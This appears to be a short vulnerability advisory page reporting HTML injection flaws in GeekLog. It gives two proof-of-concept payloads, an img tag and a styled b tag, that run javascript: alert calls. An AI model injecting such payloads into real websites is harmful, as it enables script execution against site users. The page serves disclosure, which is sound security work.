• info
• discussion
• exploit
• solution
• references

Multiple GeekLog HTML Injection Vulnerabilities

The following proof of concept has been supplied:

<img src="javascript:alert()">

<b style="background-image: url(javascript:alert(document))">test</b>